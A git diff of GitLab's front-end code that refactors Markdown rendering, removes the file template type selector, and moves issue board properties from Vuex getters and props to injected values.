diff --git a/app/assets/javascripts/behaviors/markdown/init_gfm.js b/app/assets/javascripts/behaviors/markdown/init_gfm.js
deleted file mode 100644
index d9c7cee50da..00000000000
--- a/app/assets/javascripts/behaviors/markdown/init_gfm.js
+++ /dev/null
@@ -1,13 +0,0 @@
-import $ from 'jquery';
-import { renderGFM } from '~/behaviors/markdown/render_gfm';
-
-$.fn.renderGFM = function plugin() {
- this.get().forEach(renderGFM);
- return this;
-};
-requestIdleCallback(
- () => {
- renderGFM(document.body);
- },
- { timeout: 500 },
-);
diff --git a/app/assets/javascripts/behaviors/markdown/render_gfm.js b/app/assets/javascripts/behaviors/markdown/render_gfm.js
index 2eab5b84e3e..04b3599ea8c 100644
--- a/app/assets/javascripts/behaviors/markdown/render_gfm.js
+++ b/app/assets/javascripts/behaviors/markdown/render_gfm.js
@@ -18,6 +18,10 @@ function initPopovers(elements) {
// Render GitLab flavoured Markdown
export function renderGFM(element) {
+ if (!element) {
+ return;
+ }
+
const [
highlightEls,
krokiEls,
diff --git a/app/assets/javascripts/behaviors/preview_markdown.js b/app/assets/javascripts/behaviors/preview_markdown.js
index 86a05f24dfc..32e395e4f3c 100644
--- a/app/assets/javascripts/behaviors/preview_markdown.js
+++ b/app/assets/javascripts/behaviors/preview_markdown.js
@@ -1,10 +1,10 @@
/* eslint-disable func-names */
import $ from 'jquery';
+import { renderGFM } from '~/behaviors/markdown/render_gfm';
import { createAlert } from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { __ } from '~/locale';
-import '~/behaviors/markdown/init_gfm';
// MarkdownPreview
//
@@ -51,7 +51,7 @@ MarkdownPreview.prototype.showPreview = function ($form) {
}
preview.removeClass('md-preview-loading').html(body);
- preview.renderGFM();
+ renderGFM(preview.get(0));
this.renderReferencedUsers(response.references.users, $form);
if (response.references.commands) {
diff --git a/app/assets/javascripts/behaviors/shortcuts/shortcut.vue b/app/assets/javascripts/behaviors/shortcuts/shortcut.vue
index e5992779a99..38384157007 100644
--- a/app/assets/javascripts/behaviors/shortcuts/shortcut.vue
+++ b/app/assets/javascripts/behaviors/shortcuts/shortcut.vue
@@ -1,4 +1,5 @@
<script>
+import { getModifierKey } from '~/constants';
import { __, s__ } from '~/locale';
// Map some keys to their proper representation depending on the system
@@ -22,7 +23,7 @@ const getKeyMap = () => {
keyMap.alt = keyMap.option;
// Mod is Command on Mac, and Ctrl on Windows/Linux
- keyMap.mod = window.gl?.client?.isMac ? keyMap.command : keyMap.ctrl;
+ keyMap.mod = getModifierKey(true);
return keyMap;
};
diff --git a/app/assets/javascripts/behaviors/shortcuts/shortcuts_navigation.js b/app/assets/javascripts/behaviors/shortcuts/shortcuts_navigation.js
index e0ef49b60d3..7bb6bc7e9bc 100644
--- a/app/assets/javascripts/behaviors/shortcuts/shortcuts_navigation.js
+++ b/app/assets/javascripts/behaviors/shortcuts/shortcuts_navigation.js
@@ -71,7 +71,7 @@ export default class ShortcutsNavigation extends Shortcuts {
iid: window.gl.mrWidgetData?.iid,
});
if (path) {
- visitUrl(path);
+ visitUrl(path, true);
}
}
}
diff --git a/app/assets/javascripts/blob/components/blob_header.vue b/app/assets/javascripts/blob/components/blob_header.vue
index 361d736f740..4e47aa99fd8 100644
--- a/app/assets/javascripts/blob/components/blob_header.vue
+++ b/app/assets/javascripts/blob/components/blob_header.vue
@@ -66,7 +66,7 @@ export default {
return !this.hideDefaultActions;
},
isEmpty() {
- return this.blob.rawSize === 0;
+ return this.blob.rawSize === '0';
},
blobSwitcherDocIcon() {
return this.blob.richViewer?.fileType === 'csv' ? 'table' : 'document';
diff --git a/app/assets/javascripts/blob/file_template_mediator.js b/app/assets/javascripts/blob/file_template_mediator.js
index adc2649e5df..2ea3c93625d 100644
--- a/app/assets/javascripts/blob/file_template_mediator.js
+++ b/app/assets/javascripts/blob/file_template_mediator.js
@@ -11,7 +11,6 @@ import DockerfileSelector from './template_selectors/dockerfile_selector';
import GitignoreSelector from './template_selectors/gitignore_selector';
import LicenseSelector from './template_selectors/license_selector';
import MetricsDashboardSelector from './template_selectors/metrics_dashboard_selector';
-import FileTemplateTypeSelector from './template_selectors/type_selector';
export default class FileTemplateMediator {
constructor({ editor, currentAction, projectId }) {
@@ -20,7 +19,6 @@ export default class FileTemplateMediator {
this.projectId = projectId;
this.initTemplateSelectors();
- this.initTemplateTypeSelector();
this.initDomElements();
this.initDropdowns();
this.initPageEvents();
@@ -38,26 +36,6 @@ export default class FileTemplateMediator {
].map((TemplateSelectorClass) => new TemplateSelectorClass({ mediator: this }));
}
- initTemplateTypeSelector() {
- this.typeSelector = new FileTemplateTypeSelector({
- mediator: this,
- dropdownData: this.templateSelectors
- .map((templateSelector) => {
- const cfg = templateSelector.config;
-
- return {
- name: cfg.name,
- key: cfg.key,
- id: cfg.key,
- };
- })
- .reduce(
- (acc, current) => (acc.find((item) => item.id === current.id) ? acc : [...acc, current]),
- [],
- ),
- });
- }
-
initDomElements() {
const $templatesMenu = $('.template-selectors-menu');
const $undoMenu = $templatesMenu.find('.template-selectors-undo-menu');
@@ -71,13 +49,10 @@ export default class FileTemplateMediator {
this.$fileContent = $fileEditor.find('#file-content');
this.$commitForm = $fileEditor.find('form');
this.$navLinks = $fileEditor.find('.nav-links');
- this.$templateTypes = this.$templateSelectors.find('.template-type-selector');
}
initDropdowns() {
- if (this.currentAction === 'create') {
- this.typeSelector.show();
- } else {
+ if (this.currentAction !== 'create') {
this.hideTemplateSelectorMenu();
}
@@ -101,32 +76,12 @@ export default class FileTemplateMediator {
const hash = urlPieces[1];
if (hash === 'preview') {
this.hideTemplateSelectorMenu();
- } else if (hash === 'editor' && !this.typeSelector.isHidden()) {
+ } else if (hash === 'editor' && this.templateSelectors.find((sel) => sel.dropdown !== null)) {
this.showTemplateSelectorMenu();
}
});
}
- selectTemplateType(item, e) {
- if (e) {
- e.preventDefault();
- }
-
- this.templateSelectors.forEach((selector) => {
- if (selector.config.key === item.key) {
- selector.show();
- } else {
- selector.hide();
- }
- });
- this.setTypeSelectorToggleText(item.name);
- this.cacheToggleText();
- }
-
- selectTemplateTypeOptions(options) {
- this.selectTemplateType(options.selectedObj, options.e);
- }
-
selectTemplateFile(selector, query, data) {
const self = this;
const { name } = selector.config;
@@ -139,7 +94,7 @@ export default class FileTemplateMediator {
this.setEditorContent(file);
this.setFilename(name);
selector.renderLoaded();
- this.typeSelector.setToggleText(name);
+
toast(__(`${query} template applied`), {
action: {
text: __('Undo'),
@@ -163,15 +118,20 @@ export default class FileTemplateMediator {
displayMatchedTemplateSelector() {
const currentInput = this.getFilename();
- this.templateSelectors.forEach((selector) => {
- const match = selector.config.pattern.test(currentInput);
-
- if (match) {
- this.typeSelector.show();
- this.selectTemplateType(selector.config);
- this.showTemplateSelectorMenu();
+ const matchedSelector = this.templateSelectors.find((sel) =>
+ sel.config.pattern.test(currentInput),
+ );
+ const currentSelector = this.templateSelectors.find((sel) => !sel.isHidden());
+
+ if (matchedSelector) {
+ if (currentSelector) {
+ currentSelector.hide();
}
- });
+ matchedSelector.show();
+ this.showTemplateSelectorMenu();
+ } else {
+ this.hideTemplateSelectorMenu();
+ }
}
fetchFileTemplate(type, query, data = {}) {
@@ -194,16 +154,13 @@ export default class FileTemplateMediator {
this.editor.navigateFileStart();
}
- findTemplateSelectorByKey(key) {
- return this.templateSelectors.find((selector) => selector.config.key === key);
- }
-
hideTemplateSelectorMenu() {
this.$templatesMenu.hide();
}
showTemplateSelectorMenu() {
this.$templatesMenu.show();
+ this.cacheToggleText();
}
cacheToggleText() {
@@ -219,7 +176,6 @@ export default class FileTemplateMediator {
this.setEditorContent(this.cachedContent);
this.setFilename(this.cachedFilename);
this.setTemplateSelectorToggleText();
- this.setTypeSelectorToggleText(__('Select a template type'));
}
getTemplateSelectorToggleText() {
@@ -234,14 +190,6 @@ export default class FileTemplateMediator {
.text(this.cachedToggleText);
}
- getTypeSelectorToggleText() {
- return this.typeSelector.getToggleText();
- }
-
- setTypeSelectorToggleText(text) {
- this.typeSelector.setToggleText(text);
- }
-
getFilename() {
return this.$filenameInput.val();
}
@@ -253,8 +201,4 @@ export default class FileTemplateMediator {
input.dispatchEvent(new Event('change'));
}
}
-
- getSelected() {
- return this.templateSelectors.find((selector) => selector.selected);
- }
}
diff --git a/app/assets/javascripts/blob/notebook/index.js b/app/assets/javascripts/blob/notebook/index.js
index 25fe29c4fbe..9259827edf1 100644
--- a/app/assets/javascripts/blob/notebook/index.js
+++ b/app/assets/javascripts/blob/notebook/index.js
@@ -1,13 +1,11 @@
import Vue from 'vue';
import NotebookViewer from './notebook_viewer.vue';
-export default () => {
- const el = document.getElementById('js-notebook-viewer');
-
+export default ({ el = document.getElementById('js-notebook-viewer'), relativeRawPath }) => {
return new Vue({
el,
provide: {
- relativeRawPath: el.dataset.relativeRawPath,
+ relativeRawPath: relativeRawPath || el.dataset.relativeRawPath,
},
render(createElement) {
return createElement(NotebookViewer, {
diff --git a/app/assets/javascripts/blob/openapi/index.js b/app/assets/javascripts/blob/openapi/index.js
index 8cfdc00bb40..2386508aef5 100644
--- a/app/assets/javascripts/blob/openapi/index.js
+++ b/app/assets/javascripts/blob/openapi/index.js
@@ -15,8 +15,8 @@ const createSandbox = () => {
return iframeEl;
};
-export default async () => {
- const wrapperEl = document.getElementById('js-openapi-viewer');
+export default async (el = document.getElementById('js-openapi-viewer')) => {
+ const wrapperEl = el;
const sandboxEl = createSandbox();
const { data } = await axios.get(wrapperEl.dataset.endpoint);
diff --git a/app/assets/javascripts/blob/template_selectors/type_selector.js b/app/assets/javascripts/blob/template_selectors/type_selector.js
deleted file mode 100644
index 65e7ff0594c..00000000000
--- a/app/assets/javascripts/blob/template_selectors/type_selector.js
+++ /dev/null
@@ -1,24 +0,0 @@
-import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
-import FileTemplateSelector from '../file_template_selector';
-
-export default class FileTemplateTypeSelector extends FileTemplateSelector {
- constructor({ mediator, dropdownData }) {
- super(mediator);
- this.mediator = mediator;
- this.config = {
- dropdown: '.js-template-type-selector',
- wrapper: '.js-template-type-selector-wrap',
- dropdownData,
- };
- }
-
- initDropdown() {
- initDeprecatedJQueryDropdown(this.$dropdown, {
- data: this.config.dropdownData,
- filterable: false,
- selectable: true,
- clicked: (options) => this.mediator.selectTemplateTypeOptions(options),
- text: (item) => item.name,
- });
- }
-}
diff --git a/app/assets/javascripts/blob/viewer/index.js b/app/assets/javascripts/blob/viewer/index.js
index 439c4258805..5e85e4cea38 100644
--- a/app/assets/javascripts/blob/viewer/index.js
+++ b/app/assets/javascripts/blob/viewer/index.js
@@ -1,5 +1,5 @@
import $ from 'jquery';
-import '~/behaviors/markdown/init_gfm';
+import { renderGFM } from '~/behaviors/markdown/render_gfm';
import { createAlert } from '~/flash';
import { __ } from '~/locale';
import {
@@ -195,7 +195,7 @@ export class BlobViewer {
this.toggleCopyButtonState();
loadViewer(newViewer)
.then((viewer) => {
- $(viewer).renderGFM();
+ renderGFM(viewer);
window.requestIdleCallback(() => {
this.$fileHolder.trigger('highlight:line');
handleLocationHash();
diff --git a/app/assets/javascripts/blob_edit/edit_blob.js b/app/assets/javascripts/blob_edit/edit_blob.js
index 46b3f16df77..a3d11d90ed2 100644
--- a/app/assets/javascripts/blob_edit/edit_blob.js
+++ b/app/assets/javascripts/blob_edit/edit_blob.js
@@ -1,4 +1,5 @@
import $ from 'jquery';
+import { renderGFM } from '~/behaviors/markdown/render_gfm';
import { SourceEditorExtension } from '~/editor/extensions/source_editor_extension_base';
import { FileTemplateExtension } from '~/editor/extensions/source_editor_file_template_ext';
import { ToolbarExtension } from '~/editor/extensions/source_editor_toolbar_ext';
@@ -9,7 +10,6 @@ import { addEditorMarkdownListeners } from '~/lib/utils/text_markdown';
import { insertFinalNewline } from '~/lib/utils/text_utility';
import TemplateSelectorMediator from '../blob/file_template_mediator';
import { BLOB_EDITOR_ERROR, BLOB_PREVIEW_ERROR } from './constants';
-import '~/behaviors/markdown/init_gfm';
export default class EditBlob {
// The options object has:
@@ -140,7 +140,7 @@ export default class EditBlob {
})
.then(({ data }) => {
currentPane.empty().append(data);
- currentPane.renderGFM();
+ renderGFM(currentPane.get(0));
})
.catch(() =>
createAlert({
diff --git a/app/assets/javascripts/boards/components/board_app.vue b/app/assets/javascripts/boards/components/board_app.vue
index 1335a3b108b..970e3509d20 100644
--- a/app/assets/javascripts/boards/components/board_app.vue
+++ b/app/assets/javascripts/boards/components/board_app.vue
@@ -11,7 +11,7 @@ export default {
BoardSettingsSidebar,
BoardTopBar,
},
- inject: ['disabled', 'fullBoardId'],
+ inject: ['fullBoardId'],
computed: {
...mapGetters(['isSidebarOpen']),
},
@@ -27,7 +27,7 @@ export default {
<template>
<div class="boards-app gl-relative" :class="{ 'is-compact': isSidebarOpen }">
<board-top-bar />
- <board-content :disabled="disabled" :board-id="fullBoardId" />
+ <board-content :board-id="fullBoardId" />
<board-settings-sidebar />
</div>
</template>
diff --git a/app/assets/javascripts/boards/components/board_card.vue b/app/assets/javascripts/boards/components/board_card.vue
index f3307977be9..0c64cbad5b1 100644
--- a/app/assets/javascripts/boards/components/board_card.vue
+++ b/app/assets/javascripts/boards/components/board_card.vue
@@ -9,6 +9,7 @@ export default {
BoardCardInner,
},
mixins: [Tracking.mixin()],
+ inject: ['disabled'],
props: {
list: {
type: Object,
@@ -20,11 +21,6 @@ export default {
default: () => ({}),
required: false,
},
- disabled: {
- type: Boolean,
- default: false,
- required: false,
- },
index: {
type: Number,
default: 0,
@@ -35,6 +31,11 @@ export default {
default: false,
required: false,
},
+ canAdmin: {
+ type: Boolean,
+ required: false,
+ default: true,
+ },
},
computed: {
...mapState(['selectedBoardItems', 'activeId']),
@@ -48,10 +49,10 @@ export default {
);
},
isDisabled() {
- return this.disabled || !this.item.id || this.item.isLoading;
+ return this.disabled || !this.item.id || this.item.isLoading || !this.canAdmin;
},
isDraggable() {
- return !this.disabled && this.item.id && !this.item.isLoading;
+ return !this.isDisabled;
},
cardStyle() {
return this.isColorful && this.item.color ? { borderColor: this.item.color } : '';
diff --git a/app/assets/javascripts/boards/components/board_card_inner.vue b/app/assets/javascripts/boards/components/board_card_inner.vue
index 05c786ca61d..77df111afc1 100644
--- a/app/assets/javascripts/boards/components/board_card_inner.vue
+++ b/app/assets/javascripts/boards/components/board_card_inner.vue
@@ -8,7 +8,7 @@ import {
GlSprintf,
} from '@gitlab/ui';
import { sortBy } from 'lodash';
-import { mapActions, mapGetters, mapState } from 'vuex';
+import { mapActions, mapState } from 'vuex';
import boardCardInner from 'ee_else_ce/boards/mixins/board_card_inner';
import { isScopedLabel } from '~/lib/utils/common_utils';
import { updateHistory } from '~/lib/utils/url_utility';
@@ -43,7 +43,7 @@ export default {
GlTooltip: GlTooltipDirective,
},
mixins: [boardCardInner],
- inject: ['rootPath', 'scopedLabelsAvailable', 'isEpicBoard'],
+ inject: ['rootPath', 'scopedLabelsAvailable', 'isEpicBoard', 'issuableType', 'isGroupBoard'],
props: {
item: {
type: Object,
@@ -77,8 +77,7 @@ export default {
};
},
computed: {
- ...mapState(['isShowingLabels', 'issuableType', 'allowSubEpics']),
- ...mapGetters(['isProjectBoard']),
+ ...mapState(['isShowingLabels', 'allowSubEpics']),
cappedAssignees() {
// e.g. maxRender is 4,
// Render up to all 4 assignees if there are only 4 assigness
@@ -158,7 +157,7 @@ export default {
return Math.round((this.item.descendantWeightSum.closedIssues / this.totalWeight) * 100);
},
showReferencePath() {
- return !this.isProjectBoard && this.itemReferencePath;
+ return this.isGroupBoard && this.itemReferencePath;
},
avatarSize() {
return { default: 16, lg: 24 };
diff --git a/app/assets/javascripts/boards/components/board_column.vue b/app/assets/javascripts/boards/components/board_column.vue
index 8fc76c02e14..b728b8dd22a 100644
--- a/app/assets/javascripts/boards/components/board_column.vue
+++ b/app/assets/javascripts/boards/components/board_column.vue
@@ -20,10 +20,6 @@ export default {
default: () => ({}),
required: false,
},
- disabled: {
- type: Boolean,
- required: true,
- },
},
computed: {
...mapState(['filterParams', 'highlightedLists']),
@@ -87,8 +83,8 @@ export default {
class="board-inner gl-display-flex gl-flex-direction-column gl-relative gl-h-full gl-rounded-base gl-bg-gray-50"
:class="{ 'board-column-highlighted': highlighted }"
>
- <board-list-header :list="list" :disabled="disabled" />
- <board-list ref="board-list" :disabled="disabled" :board-items="listItems" :list="list" />
+ <board-list-header :list="list" />
+ <board-list ref="board-list" :board-items="listItems" :list="list" />
</div>
</div>
</template>
diff --git a/app/assets/javascripts/boards/components/board_content.vue b/app/assets/javascripts/boards/components/board_content.vue
index ca86894ca40..92f79e61f14 100644
--- a/app/assets/javascripts/boards/components/board_content.vue
+++ b/app/assets/javascripts/boards/components/board_content.vue
@@ -9,7 +9,7 @@ import { s__ } from '~/locale';
import { formatBoardLists } from 'ee_else_ce/boards/boards_util';
import BoardAddNewColumn from 'ee_else_ce/boards/components/board_add_new_column.vue';
import { defaultSortableOptions } from '~/sortable/constants';
-import { DraggableItemTypes, BoardType, listsQuery } from 'ee_else_ce/boards/constants';
+import { DraggableItemTypes, listsQuery } from 'ee_else_ce/boards/constants';
import BoardColumn from './board_column.vue';
export default {
@@ -35,13 +35,11 @@ export default {
'issuableType',
'isIssueBoard',
'isEpicBoard',
+ 'isGroupBoard',
+ 'disabled',
'isApolloBoard',
],
props: {
- disabled: {
- type: Boolean,
- required: true,
- },
boardId: {
type: String,
required: true,
@@ -89,8 +87,8 @@ export default {
queryVariables() {
return {
...(this.isIssueBoard && {
- isGroup: this.boardType === BoardType.group,
- isProject: this.boardType === BoardType.project,
+ isGroup: this.isGroupBoard,
+ isProject: !this.isGroupBoard,
}),
fullPath: this.fullPath,
boardId: this.boardId,
@@ -176,7 +174,6 @@ export default {
ref="board"
:list="list"
:data-draggable-item-type="$options.draggableItemTypes.list"
- :disabled="disabled"
:class="{ 'gl-xs-display-none!': addColumnFormVisible }"
/>
@@ -190,7 +187,6 @@ export default {
ref="swimlanes"
:lists="boardListsToUse"
:can-admin-list="canAdminList"
- :disabled="disabled"
:style="{ height: boardHeight }"
/>
diff --git a/app/assets/javascripts/boards/components/board_content_sidebar.vue b/app/assets/javascripts/boards/components/board_content_sidebar.vue
index 392a73b5859..e6d1e558c37 100644
--- a/app/assets/javascripts/boards/components/board_content_sidebar.vue
+++ b/app/assets/javascripts/boards/components/board_content_sidebar.vue
@@ -6,7 +6,7 @@ import SidebarDropdownWidget from 'ee_else_ce/sidebar/components/sidebar_dropdow
import { __, sprintf } from '~/locale';
import BoardSidebarTimeTracker from '~/boards/components/sidebar/board_sidebar_time_tracker.vue';
import BoardSidebarTitle from '~/boards/components/sidebar/board_sidebar_title.vue';
-import { ISSUABLE, INCIDENT } from '~/boards/constants';
+import { BoardType, ISSUABLE, INCIDENT, issuableTypes } from '~/boards/constants';
import { getIdFromGraphQLId } from '~/graphql_shared/utils';
import SidebarAssigneesWidget from '~/sidebar/components/assignees/sidebar_assignees_widget.vue';
import SidebarConfidentialityWidget from '~/sidebar/components/confidential/sidebar_confidentiality_widget.vue';
@@ -65,17 +65,22 @@ export default {
canUpdate: {
default: false,
},
+ issuableType: {
+ default: issuableTypes.issue,
+ },
+ isGroupBoard: {
+ default: false,
+ },
},
inheritAttrs: false,
computed: {
...mapGetters([
- 'isGroupBoard',
'isSidebarOpen',
'activeBoardItem',
'groupPathForActiveIssue',
'projectPathForActiveIssue',
]),
- ...mapState(['sidebarType', 'issuableType']),
+ ...mapState(['sidebarType']),
isIssuableSidebar() {
return this.sidebarType === ISSUABLE;
},
@@ -91,14 +96,17 @@ export default {
fullPath() {
return this.activeBoardItem?.referencePath?.split('#')[0] || '';
},
+ parentType() {
+ return this.isGroupBoard ? BoardType.group : BoardType.project;
+ },
createLabelTitle() {
return sprintf(__('Create %{workspace} label'), {
- workspace: this.isGroupBoard ? 'group' : 'project',
+ workspace: this.parentType,
});
},
manageLabelTitle() {
return sprintf(__('Manage %{workspace} labels'), {
- workspace: this.isGroupBoard ? 'group' : 'project',
+ workspace: this.parentType,
});
},
attrWorkspacePath() {
diff --git a/app/assets/javascripts/boards/components/board_filtered_search.vue b/app/assets/javascripts/boards/components/board_filtered_search.vue
index 97f52f21e7f..ce86a4d3123 100644
--- a/app/assets/javascripts/boards/components/board_filtered_search.vue
+++ b/app/assets/javascripts/boards/components/board_filtered_search.vue
@@ -244,6 +244,13 @@ export default {
});
}
+ if (this.filterParams['not[healthStatus]']) {
+ filteredSearchValue.push({
+ type: TOKEN_TYPE_HEALTH,
+ value: { data: this.filterParams['not[healthStatus]'], operator: '!=' },
+ });
+ }
+
if (search) {
filteredSearchValue.push(search);
}
@@ -285,6 +292,7 @@ export default {
'not[my_reaction_emoji]': this.filterParams.not.myReactionEmoji,
'not[iteration_id]': this.filterParams.not.iterationId,
'not[release_tag]': this.filterParams.not.releaseTag,
+ 'not[health_status]': this.filterParams.not.healthStatus,
},
undefined,
);
diff --git a/app/assets/javascripts/boards/components/board_form.vue b/app/assets/javascripts/boards/components/board_form.vue
index fcf026bbe00..a71bde54a8f 100644
--- a/app/assets/javascripts/boards/components/board_form.vue
+++ b/app/assets/javascripts/boards/components/board_form.vue
@@ -1,6 +1,6 @@
<script>
import { GlModal, GlAlert } from '@gitlab/ui';
-import { mapGetters, mapActions, mapState } from 'vuex';
+import { mapActions, mapState } from 'vuex';
import { getIdFromGraphQLId } from '~/graphql_shared/utils';
import { visitUrl, updateHistory, getParameterByName } from '~/lib/utils/url_utility';
import { __, s__ } from '~/locale';
@@ -51,6 +51,12 @@ export default {
boardBaseUrl: {
default: '',
},
+ isGroupBoard: {
+ default: false,
+ },
+ isProjectBoard: {
+ default: false,
+ },
},
props: {
canAdminBoard: {
@@ -84,7 +90,6 @@ export default {
},
computed: {
...mapState(['error']),
- ...mapGetters(['isGroupBoard', 'isProjectBoard']),
isNewForm() {
return this.currentPage === formType.new;
},
diff --git a/app/assets/javascripts/boards/components/board_list.vue b/app/assets/javascripts/boards/components/board_list.vue
index 215691c7ba2..060a708a22f 100644
--- a/app/assets/javascripts/boards/components/board_list.vue
+++ b/app/assets/javascripts/boards/components/board_list.vue
@@ -31,12 +31,8 @@ export default {
BoardCardMoveToPosition,
},
mixins: [Tracking.mixin()],
- inject: ['isEpicBoard'],
+ inject: ['isEpicBoard', 'disabled'],
props: {
- disabled: {
- type: Boolean,
- required: true,
- },
list: {
type: Object,
required: true,
@@ -314,7 +310,6 @@ export default {
:list="list"
:item="item"
:data-draggable-item-type="$options.draggableItemTypes.card"
- :disabled="disabled"
:show-work-item-type-icon="!isEpicBoard"
>
<!-- TODO: remove the condition when https://gitlab.com/gitlab-org/gitlab/-/issues/377862 is resolved -->
diff --git a/app/assets/javascripts/boards/components/board_list_header.vue b/app/assets/javascripts/boards/components/board_list_header.vue
index bfc4b52baaf..14dff8de70f 100644
--- a/app/assets/javascripts/boards/components/board_list_header.vue
+++ b/app/assets/javascripts/boards/components/board_list_header.vue
@@ -60,6 +60,9 @@ export default {
isEpicBoard: {
default: false,
},
+ disabled: {
+ default: true,
+ },
},
props: {
list: {
@@ -67,10 +70,6 @@ export default {
default: () => ({}),
required: false,
},
- disabled: {
- type: Boolean,
- required: true,
- },
isSwimlanesHeader: {
type: Boolean,
required: false,
diff --git a/app/assets/javascripts/boards/components/board_new_issue.vue b/app/assets/javascripts/boards/components/board_new_issue.vue
index 8db366e4995..8b9fafca306 100644
--- a/app/assets/javascripts/boards/components/board_new_issue.vue
+++ b/app/assets/javascripts/boards/components/board_new_issue.vue
@@ -16,7 +16,7 @@ export default {
ProjectSelect,
},
mixins: [BoardNewIssueMixin],
- inject: ['groupId'],
+ inject: ['groupId', 'fullPath', 'isGroupBoard'],
props: {
list: {
type: Object,
@@ -24,8 +24,8 @@ export default {
},
},
computed: {
- ...mapState(['selectedProject', 'fullPath']),
- ...mapGetters(['isGroupBoard', 'getBoardItemsByList']),
+ ...mapState(['selectedProject']),
+ ...mapGetters(['getBoardItemsByList']),
formEventPrefix() {
return toggleFormEventPrefix.issue;
},
diff --git a/app/assets/javascripts/boards/components/boards_selector.vue b/app/assets/javascripts/boards/components/boards_selector.vue
index 4f90d77c0be..d26aeb69dd5 100644
--- a/app/assets/javascripts/boards/components/boards_selector.vue
+++ b/app/assets/javascripts/boards/components/boards_selector.vue
@@ -9,7 +9,7 @@ import {
GlModalDirective,
} from '@gitlab/ui';
import { throttle } from 'lodash';
-import { mapActions, mapGetters, mapState } from 'vuex';
+import { mapActions, mapState } from 'vuex';
import BoardForm from 'ee_else_ce/boards/components/board_form.vue';
@@ -49,6 +49,8 @@ export default {
'hasMissingBoards',
'scopedIssueBoardFeatureEnabled',
'weights',
+ 'boardType',
+ 'isGroupBoard',
],
props: {
throttleDuration: {
@@ -74,8 +76,7 @@ export default {
},
computed: {
- ...mapState(['boardType', 'board', 'isBoardLoading']),
- ...mapGetters(['isGroupBoard', 'isProjectBoard']),
+ ...mapState(['board', 'isBoardLoading']),
parentType() {
return this.boardType;
},
diff --git a/app/assets/javascripts/boards/components/issue_board_filtered_search.vue b/app/assets/javascripts/boards/components/issue_board_filtered_search.vue
index bc68c2e0e99..38a171e8889 100644
--- a/app/assets/javascripts/boards/components/issue_board_filtered_search.vue
+++ b/app/assets/javascripts/boards/components/issue_board_filtered_search.vue
@@ -4,7 +4,6 @@ import fuzzaldrinPlus from 'fuzzaldrin-plus';
import { mapActions } from 'vuex';
import { orderBy } from 'lodash';
import BoardFilteredSearch from 'ee_else_ce/boards/components/board_filtered_search.vue';
-import { BoardType } from '~/boards/constants';
import axios from '~/lib/utils/axios_utils';
import { joinPaths } from '~/lib/utils/url_utility';
import issueBoardFilters from '~/boards/issue_board_filters';
@@ -47,23 +46,15 @@ export default {
issue: __('Issue'),
},
components: { BoardFilteredSearch },
- inject: ['isSignedIn', 'releasesFetchPath', 'fullPath', 'boardType'],
+ inject: ['isSignedIn', 'releasesFetchPath', 'fullPath', 'isGroupBoard'],
computed: {
- isGroupBoard() {
- return this.boardType === BoardType.group;
- },
- epicsGroupPath() {
- return this.isGroupBoard
- ? this.fullPath
- : this.fullPath.slice(0, this.fullPath.lastIndexOf('/'));
- },
tokensCE() {
const { issue, incident } = this.$options.i18n;
const { types } = this.$options;
const { fetchUsers, fetchLabels } = issueBoardFilters(
this.$apollo,
this.fullPath,
- this.boardType,
+ this.isGroupBoard,
);
const tokens = [
diff --git a/app/assets/javascripts/boards/index.js b/app/assets/javascripts/boards/index.js
index f8bd81e6b98..968832a092d 100644
--- a/app/assets/javascripts/boards/index.js
+++ b/app/assets/javascripts/boards/index.js
@@ -3,7 +3,7 @@ import Vue from 'vue';
import VueApollo from 'vue-apollo';
import BoardApp from '~/boards/components/board_app.vue';
import '~/boards/filters/due_date_filters';
-import { issuableTypes } from '~/boards/constants';
+import { BoardType, issuableTypes } from '~/boards/constants';
import store from '~/boards/stores';
import {
NavigationType,
@@ -31,17 +31,19 @@ function mountBoardApp(el) {
...convertObjectPropsToCamelCase(rawFilterParams),
};
+ const boardType = el.dataset.parent;
+
store.dispatch('fetchBoard', {
fullPath,
fullBoardId: fullBoardId(boardId),
- boardType: el.dataset.parent,
+ boardType,
});
store.dispatch('setInitialBoardData', {
boardId,
fullBoardId: fullBoardId(boardId),
fullPath,
- boardType: el.dataset.parent,
+ boardType,
disabled: parseBoolean(el.dataset.disabled) || true,
issuableType: issuableTypes.issue,
});
@@ -61,7 +63,9 @@ function mountBoardApp(el) {
fullPath,
initialFilterParams,
boardBaseUrl: el.dataset.boardBaseUrl,
- boardType: el.dataset.parent,
+ boardType,
+ isGroupBoard: boardType === BoardType.group,
+ isProjectBoard: boardType === BoardType.project,
currentUserId: gon.current_user_id || null,
boardWeight: el.dataset.boardWeight ? parseInt(el.dataset.boardWeight, 10) : null,
labelsManagePath: el.dataset.labelsManagePath,
diff --git a/app/assets/javascripts/boards/issue_board_filters.js b/app/assets/javascripts/boards/issue_board_filters.js
index 4bfd92fb748..7e9b68778d5 100644
--- a/app/assets/javascripts/boards/issue_board_filters.js
+++ b/app/assets/javascripts/boards/issue_board_filters.js
@@ -1,11 +1,8 @@
import groupBoardMembers from '~/boards/graphql/group_board_members.query.graphql';
import projectBoardMembers from '~/boards/graphql/project_board_members.query.graphql';
-import { BoardType } from './constants';
import boardLabels from './graphql/board_labels.query.graphql';
-export default function issueBoardFilters(apollo, fullPath, boardType) {
- const isGroupBoard = boardType === BoardType.group;
- const isProjectBoard = boardType === BoardType.project;
+export default function issueBoardFilters(apollo, fullPath, isGroupBoard) {
const transformLabels = ({ data }) => {
return isGroupBoard ? data.group?.labels.nodes || [] : data.project?.labels.nodes || [];
};
@@ -34,7 +31,7 @@ export default function issueBoardFilters(apollo, fullPath, boardType) {
fullPath,
searchTerm: labelSearchTerm,
isGroup: isGroupBoard,
- isProject: isProjectBoard,
+ isProject: !isGroupBoard,
},
})
.then(transformLabels);
diff --git a/app/assets/javascripts/boards/stores/getters.js b/app/assets/javascripts/boards/stores/getters.js
index e1891a4d954..9e746f1a1b8 100644
--- a/app/assets/javascripts/boards/stores/getters.js
+++ b/app/assets/javascripts/boards/stores/getters.js
@@ -1,9 +1,7 @@
import { find } from 'lodash';
-import { BoardType, inactiveId, issuableTypes } from '../constants';
+import { inactiveId, issuableTypes } from '../constants';
export default {
- isGroupBoard: (state) => state.boardType === BoardType.group,
- isProjectBoard: (state) => state.boardType === BoardType.project,
isSidebarOpen: (state) => state.activeId !== inactiveId,
isSwimlanesOn: () => false,
getBoardItemById: (state) => (id) => {
diff --git a/app/assets/javascripts/ci_variable_list/ci_variable_list.js b/app/assets/javascripts/ci/ci_variable_list/ci_variable_list.js
index 574a5e7fd99..574a5e7fd99 100644
